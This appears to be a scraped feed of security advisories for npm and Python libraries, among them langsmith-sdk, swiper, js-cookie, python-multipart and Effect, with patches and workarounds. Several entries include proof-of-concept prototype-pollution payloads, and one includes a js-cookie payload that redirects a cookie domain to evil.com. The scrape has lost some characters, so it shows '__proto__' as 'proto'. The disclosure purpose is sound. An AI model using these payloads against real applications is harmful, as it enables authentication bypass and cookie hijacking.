Where
AND
-Infinity
0
Severity
9.8
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk

Severity: Medium (CVSS ~5.6) Status: Fixed in 0.5.18

---

Summary

The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the proto key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.

---

Affected Products

| Product | Affected Versions | Component | |---------|-------------------|-----------| | langsmith (npm) | <= 0.5.17 | js/src/utils/lodash/baseAssignValue.ts, js/src/anonymizer/index.ts | | langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |

Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.

---

Root Cause

The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:

typescript function baseAssignValue(object: Record<string, any>, key: string, value: any) { if (key === "proto") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value: value, writable: true, }); } else { object[key] = value; // ← No guard for "constructor" or "prototype" keys } }

This blocks proto pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":

1. castPath() splits it into ["constructor", "prototype", "polluted"] 2. baseSet() iterates: obj.constructor → Object → Object.prototype 3. assignValue(Object.prototype, "polluted", value) calls baseAssignValue() 4. Key is "polluted" (not "proto"), so the guard is bypassed 5. Object.prototype.polluted = value — all objects are polluted

---

Attack Vector via Anonymizer

The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:

1. Extracting string nodes — extractStringNodes() walks an object recursively and builds dotted paths from keys 2. Applying regex replacements — If a string value matches a configured pattern, the node is marked for update (anonymizer/index.ts:95) 3. Writing back with set() — set(mutateValue, node.path, node.value) writes the replaced value back (anonymizer/index.ts:123)

An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:

javascript { wrapper: { "constructor.prototype.isAdmin": "contains-secret-pattern" } }

extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.

Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.

---

Proof of Concept

javascript import { createAnonymizer } from "langsmith/anonymizer";

const anonymizer = createAnonymizer([ { pattern: "secret", replace: "[REDACTED]" } ]);

console.log("BEFORE:", ({}).isAdmin); // undefined

const maliciousInput = { wrapper: { "constructor.prototype.isAdmin": "this-is-secret-data" } };

anonymizer(maliciousInput);

console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data" console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"

function checkAccess(user) { if (user.isAdmin) return "ACCESS GRANTED"; return "ACCESS DENIED"; } console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED

---

Impact

Prototype pollution in a Node.js process can enable:

1. Authentication bypass — if (user.isAdmin) checks succeed on all objects 2. Remote Code Execution — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach eval()/Function() sinks 3. Denial of Service — Overwriting toString, valueOf, or hasOwnProperty on all objects 4. Data exfiltration — Polluting serialization methods to inject attacker-controlled values

---

Remediation

In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:

typescript function baseAssignValue(object, key, value) { if (key === "proto" || key === "constructor" || key === "prototype") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value, writable: true, }); } else { object[key] = value; } }

As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().

---

Timeline

| Date | Event | |------|-------| | 2026-03-24 | Initial report submitted | | 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |

---

Credits

Reported by: OneThing4101

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
EPSS
0.06%
AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, < 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2

Details The vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings.

PoC Steps to reproduce 1. Install latest version of swiper using npm install 2. Run the following code snippet: javascript var swiper = require('swiper'); Array.prototype.indexOf = () => -1; let obj = {}; var maliciouspayload = '{"proto":{"polluted":"yes"}}'; console.log({}.polluted); swiper.default.extendDefaults(JSON.parse(maliciouspayload)); console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and prototype pollution occurred

Expected behavior Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: undefined undefined OR throw an Error

Actual behavior Object.prototype is polluted This is printed on the console: undefined yes

Impact This is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected. It could potentially lead to the following problems: 1. Authentication bypass 2. Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global Array.prototype.indexOf property can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service. 3. Remote code execution (if polluted property is passed to sinks like eval or childprocess)

Related CVEs CVE-2026-25521 CVE-2026-25047 CVE-2026-26021

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

IBM Concert

1 / 2
Source: IBM
First published (updated )
Severity
8.7
EPSS
0.18%
Input Validation
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

Black provides a GitHub action for formatting code. This action supports an option, usepyproject: true, for reading the version of Black to use from the repository pyproject.toml. A malicious pull request could edit pyproject.toml to use a direct URL reference to a malicious repository. This could lead to arbitrary code execution in the context of the GitHub Action. Attackers could then gain access to secrets or permissions available in the context of the action.

Patches

Version 26.3.0 fixes this vulnerability by tightening the validation of the version field. Users who use the GitHub Action as psf/black@stable will automatically pick up this update.

Workarounds

Do not use the usepyproject: true option in the psf/black GitHub Action.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Apache Thrift: Node.js skip() recursion

1 / 2
Source: Microsoft
First published (updated )
Severity
8.6
EPSS
0.02%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Summary

A Path Traversal vulnerability exists when using non-default configuration options UPLOADDIR and UPLOADKEEPFILENAME=True. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename.

Details

When UPLOADDIR is set and UPLOADKEEPFILENAME is True, the library constructs the file path using os.path.join(filedir, fname). Due to the behavior of os.path.join(), if the filename begins with a /, all preceding path components are discarded:

py os.path.join("/upload/dir", "/etc/malicious") == "/etc/malicious" This allows an attacker to bypass the intended upload directory and write files to arbitrary paths. Affected Configuration Projects are only affected if all of the following are true: - UPLOADDIR is set - UPLOADKEEPFILENAME is set to True - The uploaded file exceeds MAXMEMORYFILESIZE (triggering a flush to disk)

The default configuration is not vulnerable. Impact Arbitrary file write to attacker-controlled paths on the filesystem. Mitigation Upgrade to version 0.0.22, or avoid using UPLOADKEEPFILENAME=True in project configurations.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

React Router is a router for React. In versions 7.0.0 through 7.14.1, when using Framework Mode, a combination of steps could potentially allow unauthorized remote code execution (RCE) through external requests. This attack requires the application code to have an existing prototype pollution vulnerability, which can then be leveraged in a 2-step attack where the second step triggers unauthorized RCE on the remote server. This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This is patched in version 7.14.2.

1 / 3
Source: MITRE
First published (updated )
Severity
7.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

There is a denial of service vulnerability in React Server Components.

React recommends updating immediately.

The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:

- react-server-dom-webpack - react-server-dom-parcel - react-server-dom-turbopack

These issues are present in the patches published last week.

Patches

Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.

If you are using any of the above packages please upgrade to any of the fixed versions immediately.

If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.

References

See the blog post for more information and upgrade instructions.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

The orjson.dumps function in orjson thru 3.11.4 does not limit recursion for deeply nested JSON documents.

First published (updated )
Severity
7.5
EPSS
0.06%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

The default configuration of startStandaloneServer from @apollo/server/standalone is vulnerable to Denial of Service (DoS) attacks through specially crafted request bodies with exotic character set encodings.

This issue does not affect users that use @apollo/server as a dependency for integration packages, like @as integrations/express5 or @as-integrations/next, only direct usage of startStandaloneServer.

Who is impacted

Users directly using startStandaloneServer from @apollo/server/standalone.

This issue affects Apollo Server from v5.0.0 through v5.3.x.

It also affects all releases of the end-of-life major versions v4, v3, and v2. Although Apollo Server v4 is EOL and Apollo no longer commits to providing support or updates for it, a fix for it was released in v4.13.0. Apollo Server v3 and v2 are no longer updated, as they have been EOL since 2024 and 2023 respectively.

Patches

Patches for this issue are released as @apollo/server versions 5.4.0 and 4.13.0.

In accordance with RFC 7159, these versions now only accept request bodies encoded in UTF-8, UTF-16 (LE or BE), or UTF-32 (LE or BE). Any other character set will be rejected with a 415 Unsupported Media Type error. Note that the more recent JSON RFC, [RFC 8259 (https://datatracker.ietf.org/doc/html/rfc8259#section-8.1), is more strict and will only allow UTF-8. Since this is a minor release, we have chosen to remain compatible with the more permissive RFC 7159 for now. In a future major release, the restriction may be tightened further to only allow UTF-8.

Workarounds

Users of apollo-server v2 or v3 that cannot upgrade for some reason could switch from the standalone apollo-server package to an integration package like apollo-server-express or apollo-server-koa and set up their own server. Please note that these old packages are generally EOL and do not receive any more support or bug fixes. This can only be seen as a short-term workaround. Updating to @apollo/server v5 should be a priority.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.05%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as {a}{b}{c}:z. The generated regex grows exponentially with the number of groups, causing denial of service.

Patches

Fixed in version 8.4.0.

Workarounds

Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

What kind of vulnerability is it?

It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.

Who is impacted?

Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.

Patches

Has the problem been patched?

Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.

What versions should users upgrade to?

Users should upgrade to v7.0.5 or later.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:

Validating and sanitizing all input before passing it to the serialize() function. Ensuring the environment is protected against Prototype Pollution. Upgrading to v7.0.5 as soon as possible.

Acknowledgements

Serialize JavaScript thanks Tomer Aberbach (@TomerAberbach) for discovering and privately disclosing this issue.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
XEE
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impact Using either of the two parsers in the default configuration (with resolveentities=True) allows untrusted XML input to read local files.

Patches lxml 6.1.0 changes the default to resolveentities='internal', thus disallowing local file access by default.

Workarounds Setting the resolveentities option explicitly to resolveentities='internal' or resolveentities=False disables the local file access.

Resources Original report: https://bugs.launchpad.net/lxml/+bug/2146291

The default option was changed to resolveentities='internal' for the normal XML and HTML parsers in lxml 5.0. The default was not changed for iterparse() and ETCompatXMLParser() at the time. lxml 6.1 makes the safe option the default for all parsers.

1 / 4
Source: GitHub
First published (updated )
Severity
7.5
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

go-ntlmssp is a Go package that provides NTLM/Negotiate authentication over HTTP. Prior to version 0.1.1, a malicious NTLM challenge message can causes an slice out of bounds panic, which can crash any Go process using ntlmssp.Negotiator as an HTTP transport. Version 0.1.1 patches the issue.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

basic-ftp is an FTP client for Node.js. Versions prior to 5.3.0 are vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to Client.list(), causing the client process to consume memory until it becomes unstable or crashes. Version 5.3.0 fixes the issue.

First published (updated )
Severity
7.5
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impact

Users who use Azure AD remote write with OAuth authentication are impacted.

The clientsecret field in the Azure AD remote write OAuth configuration (storage/remote/azuread) was typed as string instead of Secret. Prometheus redacts fields of type Secret when serving the configuration via the /-/config HTTP API endpoint. Because the field was a plain string, the Azure OAuth client secret was exposed in plaintext to any user or process with access to that endpoint.

Patches

The problem has been patched by changing ClientSecret in OAuthConfig to Secret. Users should upgrade to 3.11.3 or 3.5.3 LTS.

Workarounds

Users who can not upgrade can switch to Managed Identity or Workload Identity authentication for Azure AD remote write, which do not involve a client secret.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

The remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.

Patches Has the problem been patched? What versions should users upgrade to?

Fixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.

Workarounds User who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

python-multipart has a denial of service vulnerability in multipart part header parsing. When parsing multipart/form-data, MultipartParser previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion.

Impact

Applications that parse attacker-controlled multipart/form-data with affected versions of python-multipart can experience CPU exhaustion. ASGI applications using Starlette, FastAPI, or other frameworks that invoke python-multipart may have worker or event-loop delays while processing malicious upload requests.

Details

The affected parser states are HEADERFIELDSTART, HEADERFIELD, HEADERVALUESTART, HEADERVALUE, and HEADERVALUEALMOSTDONE. The issue can be triggered by:

- A multipart part with an oversized individual header value. - A multipart part with many repeated header lines or an unterminated header block.

Both variants are addressed by enforcing default parser limits for maximum header count and maximum header size.

Mitigation

Upgrade to python-multipart 0.0.27 or later.

If upgrading is not immediately possible, reduce exposure by enforcing request body size limits at the server, proxy, or framework layer. This is only a mitigation; affected versions of python-multipart still parse multipart part headers without the default header count and header size limits.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker

A payload of {"proto":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable 'proto' target[key] = source[key] // [[Set]] form - fires proto setter } } return target } Proof of concept

Node 22.11.0, no third-party deps:

Environment setup bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie

PoC js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } };

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse( '{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' );

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);

Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />

Suggested patch

diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === 'proto' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }

Equivalent one-liner alternative - iterate own names only and filter:

js for (const key of Object.getOwnPropertyNames(source)) { if (key === 'proto') continue target[key] = source[key] }

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
XSS
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A DoS vulnerability exists in the React Router v7 Framework Mode, as well as Remix v2.9.0+ with Single Fetch enabled. In some scenarios the underlying serialization algorithm can become a bottleneck when encoding specific types of data into server responses. Please upgrade to React Router v7.14.0 or later.

[!NOTE] This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

React Router is a router for React. In versions 7.0.0 through 7.14.x of react-router and versions 2.10.0 through 2.17.4 of @remix-run/server-runtime, certain crafted requests can consume disproportionate server resources via unbounded path expansion in the manifest endpoint, resulting in response time degradation and/or service unavailability for end users. This affects React Router Framework Mode applications as well as Remix applications. This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This is patched in react-router version 7.15.0 and @remix-run/server-runtime version 2.17.5.

1 / 3
Source: MITRE
First published (updated )
Severity
7.4
EPSS
0.01%
Race Condition
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Versions

- effect: 3.19.15 - @effect/rpc: 0.72.1 - @effect/platform: 0.94.2 - Node.js: v22.20.0 - Vercel runtime with Fluid compute - Next.js: 16 (App Router) - @clerk/nextjs: 6.x

Root cause

Effect's MixedScheduler batches fiber continuations and drains them inside a single microtask or timer callback. The AsyncLocalStorage context active during that callback belongs to whichever request first triggered the scheduler's drain cycle — not the request that owns the fiber being resumed.

Detailed mechanism

1. Scheduler batching (effect/src/Scheduler.ts, MixedScheduler)

typescript // MixedScheduler.starve() — called once when first task is scheduled private starve(depth = 0) { if (depth >= this.maxNextTickBeforeTimer) { setTimeout(() => this.starveInternal(0), 0) // timer queue } else { Promise.resolve(void 0).then(() => this.starveInternal(depth + 1)) // microtask queue } }

// MixedScheduler.starveInternal() — drains ALL accumulated tasks in one call private starveInternal(depth: number) { const tasks = this.tasks.buckets this.tasks.buckets = [] for (const [, toRun] of tasks) { for (let i = 0; i < toRun.length; i++) { toRuni // ← Every fiber continuation runs in the SAME ALS context } } // ... }

scheduleTask only calls starve() when running is false. Subsequent tasks accumulate in this.tasks until starveInternal drains them all. The Promise.then() (or setTimeout) callback inherits the ALS context from whichever call site created it — i.e., whichever request's fiber first set running = true.

Result: Under concurrent load, fiber continuations from Request A and Request B execute inside the same starveInternal call, sharing a single ALS context. If Request A triggered starve(), then Request B's fiber reads Request A's ALS context.

2. toWebHandlerRuntime does not propagate ALS (@effect/platform/src/HttpApp.ts:211-240)

typescript export const toWebHandlerRuntime = <R>(runtime: Runtime.Runtime<R>) => { const httpRuntime: Types.Mutable<Runtime.Runtime<R>> = Runtime.make(runtime) const run = Runtime.runFork(httpRuntime) return <E>(self: Default<E, R | Scope.Scope>, middleware?) => { return (request: Request, context?): Promise<Response> => new Promise((resolve) => { // Per-request Effect context is correctly set via contextMap: const contextMap = new Map<string, any>(runtime.context.unsafeMap) const httpServerRequest = ServerRequest.fromWeb(request) contextMap.set(ServerRequest.HttpServerRequest.key, httpServerRequest) httpRuntime.context = Context.unsafeMake(contextMap)

// But the fiber is forked without any ALS propagation: const fiber = run(httpApp as any) // ← ALS context is NOT captured or restored }) } }

Effect's own Context (containing HttpServerRequest) is correctly set per-request. But the Node.js ALS context — which frameworks like Next.js, Clerk, and OpenTelemetry rely on — is not captured at fork time or restored when the fiber's continuations execute.

3. The dangerous pattern this enables

typescript // RPC handler — runs inside an Effect fiber const handler = Effect.gen(function() { // This calls auth() from @clerk/nextjs/server, which reads from ALS const { userId } = yield Effect.tryPromise({ try: async () => auth(), // ← may read WRONG user's session catch: () => new UnauthorizedError({ message: "Auth failed" }) }) return yield repository.getUser(userId) })

The async () => auth() thunk executes when the fiber continuation is scheduled by MixedScheduler. At that point, the ALS context belongs to an arbitrary concurrent request.

Reproduction scenario

Timeline (two concurrent requests to the same toWebHandler endpoint):

T0: Request A arrives → POST handler → webHandler(requestA) → Promise executor runs synchronously → httpRuntime.context set to A's context → fiber A forked, runs first ops synchronously → fiber A yields (e.g., at Effect.tryPromise boundary) → scheduler.scheduleTask(fiberAcontinuation) → running=false → starve() called → Promise.resolve().then(drain) ↑ ALS context captured = Request A's context

T1: Request B arrives → POST handler → webHandler(requestB) → Promise executor runs synchronously → httpRuntime.context set to B's context → fiber B forked, runs first ops synchronously → fiber B yields → scheduler.scheduleTask(fiberBcontinuation) → running=true → task queued, no new starve()

T2: Microtask fires → starveInternal() runs → Drains fiberAcontinuation → auth() reads ALS → gets A's context ✓ → Drains fiberBcontinuation → auth() reads ALS → gets A's context ✗ ← WRONG USER

Minimal reproduction

typescript import { AsyncLocalStorage } from "node:asynchooks" import { Effect, Layer } from "effect" import { RpcServer, RpcSerialization, Rpc, RpcGroup } from "@effect/rpc" import { HttpServer } from "@effect/platform" import as S from "effect/Schema"

// Simulate a framework's ALS (like Next.js / Clerk) const requestStore = new AsyncLocalStorage<{ userId: string }>()

class GetUser extends Rpc.make("GetUser", { success: S.Struct({ userId: S.String, alsUserId: S.String }), failure: S.Never, payload: {} }) {}

const MyRpc = RpcGroup.make("MyRpc").add(GetUser)

const MyRpcLive = MyRpc.toLayer( RpcGroup.toHandlers(MyRpc, { GetUser: () => Effect.gen(function() { // Simulate calling an ALS-dependent API inside an Effect fiber const alsResult = yield Effect.tryPromise({ try: async () => { const store = requestStore.getStore() return store?.userId ?? "NONE" }, catch: () => { throw new Error("impossible") } }) return { userId: "from-effect-context", alsUserId: alsResult } }) }) )

const RpcLayer = MyRpcLive.pipe( Layer.provideMerge(RpcSerialization.layerJson), Layer.provideMerge(HttpServer.layerContext) )

const { handler } = RpcServer.toWebHandler(MyRpc, { layer: RpcLayer })

// Simulate two concurrent requests with different ALS contexts async function main() { const results = await Promise.all([ requestStore.run({ userId: "user-A" }, () => handler(makeRpcRequest("GetUser"))), requestStore.run({ userId: "user-B" }, () => handler(makeRpcRequest("GetUser"))), ])

// Parse responses and check if alsUserId matches the expected user // Under the bug: both responses may show "user-A" (or one shows the other's) for (const res of results) { console.log(await res.json()) } }

Impact

| Symptom | Severity | |---------|----------| | auth() returns wrong user's session | Critical — authentication bypass | | cookies() / headers() from Next.js read wrong request | High — data leakage | | OpenTelemetry trace context crosses requests | Medium — incorrect traces | | Works locally, fails in production | Hard to diagnose — only manifests under concurrent load |

Workaround

Capture ALS-dependent values before entering the Effect runtime and pass them via Effect's own context system:

typescript // In the route handler — OUTSIDE the Effect fiber (ALS is correct here) export const POST = async (request: Request) => { const { userId } = await auth() // ← Safe: still in Next.js ALS context

// Inject into request headers or use the context parameter const headers = new Headers(request.headers) headers.set("x-clerk-auth-user-id", userId ?? "") const enrichedRequest = new Request(request.url, { method: request.method, headers, body: request.body, duplex: "half" as any, })

return webHandler(enrichedRequest) }

// In Effect handlers — read from HttpServerRequest headers instead of calling auth() const getAuthenticatedUserId = Effect.gen(function() { const req = yield HttpServerRequest.HttpServerRequest const userId = req.headers["x-clerk-auth-user-id"] if (!userId) return yield Effect.fail(new UnauthorizedError({ message: "Auth required" })) return userId })

Suggested fix (for Effect maintainers)

Option A: Propagate ALS context through the scheduler

Capture the AsyncLocalStorage snapshot when a fiber continuation is scheduled, and restore it when the continuation executes:

typescript // In MixedScheduler or the fiber runtime import { AsyncLocalStorage } from "node:asynchooks"

scheduleTask(task: Task, priority: number) { // Capture current ALS context const snapshot = AsyncLocalStorage.snapshot() this.tasks.scheduleTask(() => snapshot(task), priority) // ... }

AsyncLocalStorage.snapshot() (Node.js 20.5+) returns a function that, when called, restores the ALS context from the point of capture. This ensures each fiber continuation runs with its originating request's ALS context.

Trade-off: Adds one closure allocation per scheduled task. Could be opt-in via a FiberRef or scheduler option.

Option B: Capture ALS at runFork and restore per fiber step

When Runtime.runFork is called, capture the ALS snapshot and associate it with the fiber. Before each fiber step (in the fiber runtime's evaluateEffect loop), restore the snapshot.

Trade-off: More invasive but provides correct ALS propagation for the fiber's entire lifetime, including across flatMap chains and Effect.tryPromise thunks.

Option C: Document the limitation and provide a context injection API

If ALS propagation is intentionally not supported, document this prominently and provide a first-class API for toWebHandler to accept per-request context. The existing context?: Context.Context<never> parameter on the handler function partially addresses this, but it requires callers to know about the issue and manually extract values before entering Effect.

Related

- Node.js AsyncLocalStorage docs: https://nodejs.org/api/asynccontext.html - AsyncLocalStorage.snapshot(): https://nodejs.org/api/asynccontext.html#static-method-asynclocalstoragesnapshot - Next.js uses ALS for cookies(), headers(), auth() in App Router - Similar issue pattern in other fiber-based runtimes (e.g., ZIO has FiberRef propagation for this)

POC replica of my setup

// Create web handler from Effect RPC // sharedMemoMap ensures all RPC routes share the same connection pool const { handler: webHandler, dispose } = RpcServer.toWebHandler(DemoRpc, { layer: RpcLayer, memoMap: sharedMemoMap, });

/ POST /api/rpc/demo / export const POST = async (request: Request) => { return webHandler(request); };

registerDispose(dispose);

Used util functions

/ Creates a dispose registry that collects dispose callbacks and runs them when runAll is invoked. Handles both sync and async dispose functions, catching errors to prevent one failing dispose from breaking others. @internal Exported for testing — use registerDispose in application code. / export const makeDisposeRegistry = () => { const disposeFns: Array<() => void | Promise<void>> = []

const runAll = () => { for (const fn of disposeFns) { try { const result = fn() if (result && typeof result.then === "function") { result.then(undefined, (err: unknown) => console.error("Dispose error:", err)) } } catch (err) { console.error("Dispose error:", err) } } }

const register = (dispose: () => void | Promise<void>) => { disposeFns.push(dispose) }

return { register, runAll } }

export const registerDispose: (dispose: () => void | Promise<void>) => void = globalValue( Symbol.for("@global/RegisterDispose"), () => { const registry = makeDisposeRegistry()

if (typeof process !== "undefined") { process.once("beforeExit", registry.runAll) }

return registry.register } )

The actual effect that was run within the RPC context that the bug was found

export const getAuthenticatedUserId: Effect.Effect<string, UnauthorizedError> = Effect.gen(function() { const authResult = yield Effect.tryPromise({ try: async () => auth(), catch: () => new UnauthorizedError({ message: "Failed to get auth session" }) })

if (!authResult.userId) { return yield Effect.fail( new UnauthorizedError({ message: "Authentication required" }) ) }

return authResult.userId })

1 / 2
